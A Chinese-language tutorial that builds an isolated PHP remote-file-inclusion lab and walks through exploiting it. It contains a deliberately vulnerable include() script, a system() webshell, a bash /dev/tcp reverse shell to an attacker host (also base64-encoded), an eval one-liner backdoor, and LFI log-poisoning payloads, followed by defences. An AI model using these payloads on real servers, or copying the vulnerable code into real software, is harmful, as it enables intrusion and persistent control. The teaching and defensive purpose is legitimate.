1. 项目概述:从靶场搭建到漏洞利用的完整路径
很多刚入门Web安全的朋友,一听到“远程文件包含”(Remote File Inclusion, RFI)和“Getshell”这些词,可能会觉得既神秘又遥远,仿佛这是只有高手才能触及的领域。实际上,理解并复现一个漏洞,是掌握其原理和防御方法最有效的方式。今天,我们就从一个完全“干净”的环境开始,一步步搭建一个存在漏洞的Web服务器,然后利用这个漏洞,最终实现“Getshell”——也就是获取服务器的命令行控制权。这个过程,本质上是一次完整的渗透测试实验,目的是为了让你深刻理解漏洞的成因、利用条件以及其巨大的危害性,从而在未来的开发或运维工作中,能够主动避免类似的安全问题。
我们这次实验的核心,就是围绕PHP的远程文件包含漏洞展开。简单来说,当一个PHP应用在包含外部文件时(比如使用include($_GET['file'])这样的代码),如果开发者没有对用户传入的文件名参数进行严格的过滤和校验,攻击者就有可能让服务器去包含一个存放在远程服务器上的恶意PHP文件,并执行其中的代码。这就像你让一个快递员去取件,结果他完全按照你给的地址去取,而这个地址指向了一个坏人准备好的炸弹包裹。整个流程涉及Web服务器环境搭建(我们选用经典的LAMP组合:Linux + Apache + MySQL + PHP)、漏洞代码编写、漏洞利用链构建以及最后的权限维持。我会把每个步骤的“为什么”都讲清楚,确保你不仅能跟着做出来,更能明白背后的逻辑。
2. 实验环境设计与核心思路拆解
在动手之前,我们必须把整个实验的蓝图规划清楚。一个成功的漏洞复现实验,环境隔离是首要原则。我强烈建议你在虚拟机(如VMware或VirtualBox)中完成所有操作,这能确保你的宿主机(你真正的电脑)绝对安全,同时也能方便地重置实验环境。
2.1 靶机与攻击机分离架构
我们将采用经典的“靶机-攻击机”双机模式:
- 靶机(Victim Machine):运行我们即将搭建的存在漏洞的Web应用。我们将使用Ubuntu Server系统,因为它轻量且命令行操作清晰,更贴近生产服务器环境。在这台机器上,我们将安装并配置Apache、PHP,并故意编写一段存在远程文件包含漏洞的代码。
- 攻击机(Attacker Machine):可以是你的宿主机,也可以是同一网络下的另一台虚拟机(如Kali Linux)。它的作用是承载我们的恶意PHP文件(即“木马”),并利用靶机的漏洞,让靶机来包含并执行这个远程文件。
为什么这么设计?因为真实世界的攻击就是跨网络发生的。这种架构能最真实地模拟攻击场景:漏洞存在于一个公开的Web服务器(靶机)上,而攻击者从另一台受其控制的机器(攻击机)发起攻击。
2.2 漏洞原理与利用链深度解析
远程文件包含漏洞的利用,远不止传一个参数那么简单,它是一条精密的利用链。我们需要深刻理解其每一个环节的依赖条件:
- 漏洞触发点:靶机Web应用代码中存在未过滤的动态文件包含函数,例如
include($_GET['page'])。这是所有故事的起点。 - PHP配置要求:这是最关键的一环。PHP有两个至关重要的配置项:
allow_url_fopen = On:允许PHP的文件处理函数(如fopen,include)打开URL(如http://, ftp://)作为文件。默认情况下,这个选项在很多环境中是开启的。allow_url_include = On:允许include,require等文件包含函数直接包含URL指向的远程文件。在PHP 5.2之后的版本中,这个选项默认是关闭的。这也是为什么纯粹的远程文件包含漏洞在现代PHP环境中相对少见的原因。我们的实验需要手动开启它,以模拟那些配置不当或使用了老旧PHP版本的真实环境。
- 攻击载荷:攻击机上需要托管一个恶意的PHP脚本。这个脚本的内容就是我们的“武器”,比如一个可以执行系统命令的Webshell。
- 网络可达性:靶机必须能够通过网络访问到攻击机上托管的恶意文件。在实验环境中,这通常意味着它们需要在同一个局域网段,或者攻击机的服务暴露在了公网(实验时不建议)。
我们的利用链就是:攻击者访问靶机的漏洞URL(如http://靶机IP/vuln.php?file=http://攻击机IP/shell.php) -> 靶机PHP解析器看到allow_url_include开启,于是去请求这个远程URL -> 攻击机的Web服务器(如Apache, Nginx, 甚至Python的简单HTTP服务)返回恶意PHP文件内容 -> 靶机将远程文件内容作为本地PHP代码执行 -> 攻击者通过恶意脚本中预设的功能(如命令执行)控制靶机。
注意:在实际的渗透测试或CTF比赛中,
allow_url_include关闭是常态。此时攻击者往往会转向利用本地文件包含(LFI)配合其他技巧(如日志注入、PHP伪协议、文件上传等)来达到同样目的。本次我们先攻克“理想情况”下的RFI,这是理解更复杂利用技巧的基础。
3. 靶机Web服务器搭建与漏洞环境配置
现在,让我们开始动手搭建靶机环境。我假设你已经准备好了一台安装好Ubuntu Server(例如20.04 LTS)的虚拟机,并拥有root或sudo权限。
3.1 基础LAMP环境安装
首先,更新系统软件包列表并安装Apache、PHP及常用模块。MySQL在本实验中不是必须的,但为了环境完整,我们一并安装。
sudo apt update sudo apt upgrade -y sudo apt install apache2 mysql-server php libapache2-mod-php php-mysql -y安装完成后,可以通过以下命令快速验证服务是否正常运行:
sudo systemctl status apache2 # 应显示 active (running) sudo systemctl status mysql # 应显示 active (running) php -v # 应显示PHP版本信息,如PHP 7.4.x此时,在浏览器访问你的靶机IP地址(如http://192.168.1.100),你应该能看到Apache的默认欢迎页面,这证明Web服务已就绪。
3.2 关键PHP配置修改:开启远程包含
如前所述,默认的PHP配置是禁止远程文件包含的。我们需要修改PHP的配置文件来开启它。首先找到正在被Apache使用的PHP配置文件。通常它位于/etc/php/7.x/apache2/php.ini(请将7.x替换为你的实际PHP主版本号,如7.4)。
使用文本编辑器(如nano或vim)打开它:
sudo nano /etc/php/7.4/apache2/php.ini在文件中搜索allow_url_fopen和allow_url_include这两个配置项。使用Ctrl+W进行搜索。
- 找到
allow_url_fopen = Off,将其改为allow_url_fopen = On。 - 找到
allow_url_include = Off,将其改为allow_url_include = On。
修改完成后,保存并退出编辑器(在nano中按Ctrl+X,然后按Y确认,再按Enter)。
修改配置的意图:allow_url_fopen是allow_url_include的前提。只有允许打开URL,才谈得上包含URL。我们手动将它们打开,正是为了创造那个关键的漏洞利用条件。在生产环境中,除非有极其特殊且受控的需求,否则绝对不要开启allow_url_include。
3.3 创建存在漏洞的Web应用
现在,我们在Apache的Web根目录下创建我们的漏洞演示文件。Apache的默认Web根目录通常是/var/www/html/。
创建一个名为vuln.php的文件:
sudo nano /var/www/html/vuln.php将以下存在严重安全漏洞的代码写入该文件:
<?php // 危险!未经过滤的用户输入直接用于文件包含 $page = $_GET['file']; if($page) { include($page); } else { echo "Please specify a file to include via 'file' parameter, e.g., ?file=info.php"; } ?>再创建一个正常的info.php文件,用于后续测试本地包含:
sudo nano /var/www/html/info.php内容为:<?php phpinfo(); ?>
3.4 重启服务与初步测试
修改配置和代码后,必须重启Apache服务以使更改生效:
sudo systemctl restart apache2现在,进行初步测试:
- 测试本地文件包含(LFI):访问
http://靶机IP/vuln.php?file=info.php。如果页面显示了PHP的配置信息(phpinfo页面),说明本地包含功能正常,我们的漏洞代码已经生效。 - 测试PHP配置:访问
http://靶机IP/info.php,在显示的phpinfo页面中,搜索allow_url_fopen和allow_url_include这两个核心配置。确认它们的值已经是On。这是远程文件包含能否成功的关键。
至此,一个存在远程文件包含漏洞的靶机环境已经准备就绪。它像一扇没有锁的门,只等我们(攻击者)去推开。
4. 攻击机准备与恶意载荷制作
靶机准备好了,现在轮到攻击机登场。攻击机可以是任何能提供Web服务的机器,甚至是你宿主机上的一个简单Python HTTP服务器。这里我以在另一台Ubuntu虚拟机(或你的Kali Linux)上操作为例。
4.1 搭建简易HTTP服务器
我们不需要完整的LAMP,只需要一个能通过HTTP协议提供文件访问的服务即可。Python3内置的http.server模块是最快捷的选择。
在攻击机上,选择一个目录(例如/tmp/attack)来存放我们的恶意文件,并启动HTTP服务:
mkdir -p /tmp/attack cd /tmp/attack python3 -m http.server 8080 &这条命令会在后台启动一个监听在8080端口的HTTP服务器。你可以通过访问http://攻击机IP:8080来验证服务是否正常(会看到一个文件列表页面,目前是空的)。
为什么选择Python的简单HTTP服务器?因为它足够轻量、无需配置,且能清晰地展示“攻击载荷通过网络传输”这一本质。在生产环境的攻击中,攻击者可能会使用更隐蔽的VPS或云存储来托管恶意文件。
4.2 制作远程包含的恶意PHP文件
现在,在/tmp/attack目录下创建我们的“武器”——恶意PHP文件。我们将制作一个功能最简单的Webshell,它接收一个名为cmd的GET参数,并执行其中的系统命令。
创建文件shell.php:
nano /tmp/attack/shell.php输入以下内容:
<?php // 一个简单的命令执行Webshell if(isset($_GET['cmd'])) { system($_GET['cmd']); } else { echo "Remote File Inclusion Test Shell - Ready."; } ?>载荷解析:这个脚本极其危险。system()函数会直接执行传入的字符串作为系统命令。当靶机通过RFI漏洞包含这个文件时,它就像在靶机本地运行一样,可以执行任意命令。我们通过$_GET[‘cmd’]来从URL参数中接收要执行的命令。
为了增加一点隐蔽性(虽然很初级),我们可以制作一个更“低调”的版本,比如把代码进行Base64编码或简单混淆。但为了教学清晰,我们使用最直接的版本。
4.3 网络连通性测试
在发起正式攻击前,必须确保靶机能访问到攻击机的HTTP服务。在靶机上执行:
curl http://攻击机IP:8080/如果能看到攻击机/tmp/attack目录的文件列表(至少包含shell.php),说明网络是通的。如果遇到连接拒绝或超时,请检查:
- 攻击机的防火墙是否放行了8080端口(
sudo ufw allow 8080)。 - 两台虚拟机之间的网络模式是否设置为“桥接”或“NAT网络”(确保在同一网段)。
- Python服务器是否确实在运行。
5. 漏洞利用实战:从远程包含到Getshell
一切准备就绪,最关键的环节来了。我们将从攻击者的视角,一步步利用漏洞,最终在靶机上获得一个反向Shell,实现持久控制。
5.1 触发远程文件包含
在攻击机的浏览器中,或直接在靶机上用curl,构造如下攻击URL:
http://靶机IP/vuln.php?file=http://攻击机IP:8080/shell.php访问这个URL。如果一切配置正确,你会看到页面上显示 “Remote File Inclusion Test Shell - Ready.”。这是一个历史性的时刻——这行文字是从攻击机的shell.php文件输出,但却在靶机的网页上显示,证明靶机已经成功包含并执行了来自远程服务器的PHP代码!
5.2 执行系统命令验证漏洞
现在,我们可以通过cmd参数向这个已经被包含的Webshell发送命令了。尝试执行一些简单的系统命令来验证权限:
查看当前用户:
http://靶机IP/vuln.php?file=http://攻击机IP:8080/shell.php&cmd=whoami页面可能会返回
www-data。这是Apache服务进程通常使用的用户名,权限较低,但足以做很多事。查看目录列表:
http://靶机IP/vuln.php?file=http://攻击机IP:8080/shell.php&cmd=ls -la /var/www/html你应该能看到靶机Web目录下的文件,包括我们创建的
vuln.php和info.php。这证实了我们可以在靶机上执行任意命令。
5.3 获取交互式反向Shell
通过URL参数执行命令虽然有效,但交互性很差(无法执行sudo、无法进行复杂交互)。在真实的渗透中,攻击者通常会设法获取一个“反向Shell”,即让靶机主动连接到攻击机监听的一个端口,并提供一个命令行交互界面。
在攻击机上,首先用Netcat监听一个端口(例如4444):
nc -lvnp 4444然后,通过漏洞URL,让靶机执行命令,连接到攻击机。我们需要构造一个能建立TCP连接并绑定Shell的命令。常用的方法是调用/bin/bash或/bin/sh。由于URL编码问题,我们需要精心构造Payload:
http://靶机IP/vuln.php?file=http://攻击机IP:8080/shell.php&cmd=bash -c 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1'命令拆解:
bash -c ‘…’:启动一个新的bash shell来执行引号内的命令。bash -i:启动一个交互式的bash。>& /dev/tcp/攻击机IP/4444:将标准输出和标准错误都重定向到TCP连接。/dev/tcp/是bash的一个特性,允许进行TCP网络通信。0>&1:将标准输入重定向到标准输出,从而形成一个完整的输入输出循环。
访问这个构造好的URL后,迅速查看攻击机上正在监听4444端口的Netcat窗口。如果成功,你会看到连接建立的提示,并且获得了一个来自靶机的bash提示符!你可以尝试输入pwd,id,uname -a等命令,它们都将在靶机上执行并回显结果。
实操心得:获取反向Shell时,经常会因为靶机环境的差异(如没有bash、防火墙出站规则限制、
/dev/tcp不可用)而失败。因此,安全研究人员准备了很多备选Payload,例如使用Python、PHP、Perl、Netcat甚至Telnet来建立反向连接。一个实用的技巧是,先用which python3 python2 nc netcat telnet等命令探测靶机可用的工具,再选用对应的Payload。
5.4 权限维持与后门植入
拿到一个反向Shell通常还不够稳定(连接可能中断,进程可能被结束)。有经验的操作者会考虑进行权限维持,比如植入一个更隐蔽的后门。
一种常见的方法是在靶机的Web目录下写入一个永久性的Webshell文件。我们可以直接利用已经获得的Shell权限来操作:
# 在获得的靶机反向Shell中执行 echo '<?php @eval($_POST["pass"]);?>' > /var/www/html/backdoor.php这样,我们在靶机的Web根目录下创建了一个名为backdoor.php的文件,它使用eval函数执行POST参数pass传递的PHP代码。这是一种非常常见的“一句话木马”,可以使用中国菜刀、蚁剑等工具进行连接管理,比通过RFI动态包含的方式更稳定、更隐蔽。
重要警告:这只是实验演示!在未经授权的真实系统上做这些是违法行为。在我们的实验环境中,完成后请务必删除这个文件:rm /var/www/html/backdoor.php。
6. 漏洞利用的进阶技巧与深度利用
基础的远程包含和反向Shell只是开始。在实际的渗透测试或CTF中,情况往往更复杂,allow_url_include通常是关闭的。此时,攻击者需要利用“本地文件包含”进行迂回攻击。下面介绍几种基于LFI的经典进阶技巧。
6.1 利用PHP伪协议读取源码
当远程包含被禁止,但本地包含依然存在时,php://filter协议是一个神器。它不能直接执行代码,但可以读取服务器上PHP文件的源码(经过Base64编码或其它处理),帮助我们发现更多漏洞(如数据库密码硬编码)。
利用方式:
http://靶机IP/vuln.php?file=php://filter/read=convert.base64-encode/resource=/var/www/html/vuln.php访问这个URL,页面会显示一串Base64编码的字符串。将其解码,就能得到vuln.php的源代码。通过阅读源码,我们可以寻找其他敏感信息或漏洞点。
6.2 利用日志文件注入代码
这是LFI漏洞利用中非常经典的一种“变远程为本地”的思路。Web服务器(如Apache、Nginx)会将所有访问请求记录在访问日志中(如/var/log/apache2/access.log)。如果我们能控制请求中的某些部分(如User-Agent头),并将其写入日志,然后利用LFI漏洞去包含这个日志文件,就能执行我们注入的代码。
利用步骤:
- 确定日志路径:通常为
/var/log/apache2/access.log或/var/log/nginx/access.log。可以通过错误信息或已知的LFI漏洞遍历尝试。 - 污染日志:使用工具如curl或Burp Suite,发送一个特殊的HTTP请求,将PHP代码放入User-Agent字段。
这条命令访问了靶机首页,并将一个简短的Webshell作为User-Agent记录到了访问日志里。curl -A "<?php system(\$_GET['c']); ?>" http://靶机IP/ - 包含日志文件执行代码:
如果成功,将会执行http://靶机IP/vuln.php?file=/var/log/apache2/access.log&c=whoamiwhoami命令。这里c参数是我们注入到日志中的代码所期望的参数。
注意事项:日志文件通常很大,包含执行可能会超时或失败。现代Web服务器可能会对日志进行权限限制(www-data用户可能无权读取)。此外,多行日志或特殊字符可能会破坏PHP语法,导致利用失败,需要精心构造Payload。
6.3 利用/proc/self/environ或/proc/self/fd/
在Linux系统中,/proc/是一个特殊的虚拟文件系统,包含了进程和系统的信息。如果PHP以CGI模式运行,攻击者有时可以通过控制环境变量(如HTTP_USER_AGENT),使其出现在/proc/self/environ中,然后通过LFI包含该文件来执行代码。类似地,/proc/self/fd/目录包含了进程打开的文件描述符,其中可能包含临时文件或日志。
这类利用对环境配置非常敏感,成功率不如日志包含高,但在某些特定场景下是唯一的出路。
6.4 利用文件上传与包含的组合拳
这是目前最常见、最有效的Getshell方式之一。很多应用都有文件上传功能(如图片、附件)。如果存在文件上传漏洞(允许上传任意文件,或能绕过类型检测上传PHP文件),再配合一个本地文件包含漏洞,攻击者就可以:
- 上传一个图片马(将PHP代码嵌入图片的EXIF等信息中),或者直接上传一个
.php后缀的文件(如果服务器不校验)。 - 通过LFI漏洞,去包含这个已上传的文件路径(如
/uploads/temp/evil.jpg或/uploads/evil.php),从而执行其中的代码。
这种组合完全绕过了对远程包含的限制,因为文件已经“本地化”了。
7. 漏洞防御方案与安全开发实践
在深刻理解了攻击原理之后,我们必须知道如何防御。防御的核心思想是:永远不要信任用户输入。
7.1 输入验证与白名单机制
最根本的解决方法是避免使用动态包含,或者对动态变量进行严格的白名单过滤。
// 危险做法 $page = $_GET['file']; include($page); // 安全做法:白名单 $allowed_pages = array('home.php', 'news.php', 'contact.php'); $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include('./pages/' . $page); } else { include('./pages/error.php'); }如果必须动态包含,也应将用户输入限制在某个安全目录内,并使用basename()函数防止目录遍历,同时添加固定的后缀。
$page = basename($_GET['page']); // 去除路径部分,只保留文件名 include('./includes/' . $page . '.php');7.2 安全的PHP配置
在生产环境中,务必在php.ini中设置:
allow_url_fopen = Off allow_url_include = Off这将从根本上杜绝远程文件包含漏洞。同时,将open_basedir配置项设置为Web应用所在的根目录,可以限制PHP文件操作的范围,防止跨目录访问敏感文件(如/etc/passwd)。
7.3 最小权限原则
运行Web服务(如Apache、PHP-FPM进程)的用户(通常是www-data)应仅拥有必要的最小权限。确保Web根目录及其子目录的文件所有权和权限设置正确,避免Web用户有权写入或执行敏感文件。
7.4 代码审计与安全测试
在开发过程中,对包含include,require,include_once,require_once等函数的代码进行重点审计。在测试阶段,使用静态代码分析工具(如PHPStan, SonarQube)和动态Web漏洞扫描器(如OWASP ZAP, Burp Suite)进行自动化安全测试,主动发现潜在的包含漏洞。
8. 常见问题排查与实战避坑指南
在复现这个实验的过程中,你几乎一定会遇到各种问题。下面是我总结的一些常见坑点及解决方案。
| 问题现象 | 可能原因 | 排查与解决思路 |
|---|---|---|
访问vuln.php?file=info.php不显示phpinfo,而是下载或显示源码 | Apache未正确解析PHP文件。 | 1. 检查是否安装了libapache2-mod-php。2. 检查Apache的配置中是否加载了PHP模块: sudo a2enmod php7.4(版本号需匹配)3. 重启Apache: sudo systemctl restart apache2。 |
| 访问远程包含URL,直接显示恶意文件的PHP源码,而非执行结果。 | 1. 攻击机的HTTP服务器未正确设置MIME类型,将.php文件当作纯文本发送。2. 靶机PHP配置 allow_url_include未生效。 | 1. 对于Python的http.server,它确实不会解析PHP。但这不影响,因为靶机包含的是文件内容,只要内容正确,靶机会将其作为PHP代码执行。如果显示源码,说明内容被正确获取了,但靶机没把它当代码。2.重点检查:确认 php.ini修改后已保存,并重启了Apache。通过phpinfo()页面确认两个allow_url开关均为On。 |
| 反向Shell连接失败,Netcat无响应。 | 1. 命令构造错误,特殊字符被URL编码或Shell解析有误。 2. 靶机防火墙出站规则限制。 3. 靶机没有 /dev/tcp支持或bash版本问题。4. 攻击机防火墙入站规则限制。 | 1. 尝试对命令进行URL编码。使用 `bash -c ‘{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==} |
| 日志包含利用失败,包含日志文件后页面空白或报错。 | 1. 日志路径不正确。 2. Web进程用户(www-data)无权读取日志文件。 3. 日志文件内容太大或包含破坏PHP语法的字符。 | 1. 尝试常见的日志路径,或通过LFI读取/etc/apache2/apache2.conf等配置文件来查找ErrorLog和CustomLog指令。2. 查看日志文件权限: ls -la /var/log/apache2/access.log。可能需要临时调整权限(实验环境):sudo chmod 644 /var/log/apache2/access.log。3. 尝试包含最近几行的日志: ?file=/var/log/apache2/access.log&c=id,或者注入代码时确保是完整、正确的PHP标签,且在一行内。 |
使用php://filter协议时,返回乱码或错误。 | 文件路径错误或协议使用方式有误。 | 确保资源路径是服务器上的绝对路径或相对Web根目录的正确相对路径。协议字符串拼写正确,特别是convert.base64-encode的拼写。 |
最后的个人体会:搭建这样一个漏洞环境并亲手完成利用,最大的收获不是学会了“攻击”,而是刻骨铭心地理解了“防御”的重要性。每一个看似微小的配置疏忽(如开启allow_url_include),每一行未经严格过滤的代码(如直接include($_GET[‘file’])),都可能成为整个系统沦陷的起点。安全是一个整体,它贯穿于架构设计、编码实践、配置管理和运维监控的每一个环节。作为开发者,在写下一行代码时,多问一句“用户输入可信吗?”;作为运维者,在修改一个配置时,多查一次“这个开关的风险是什么?”,就能避免绝大多数此类漏洞。这个实验环境请务必在隔离的虚拟机中进行,完成后及时销毁,切勿将漏洞代码或配置带入任何生产或测试环境。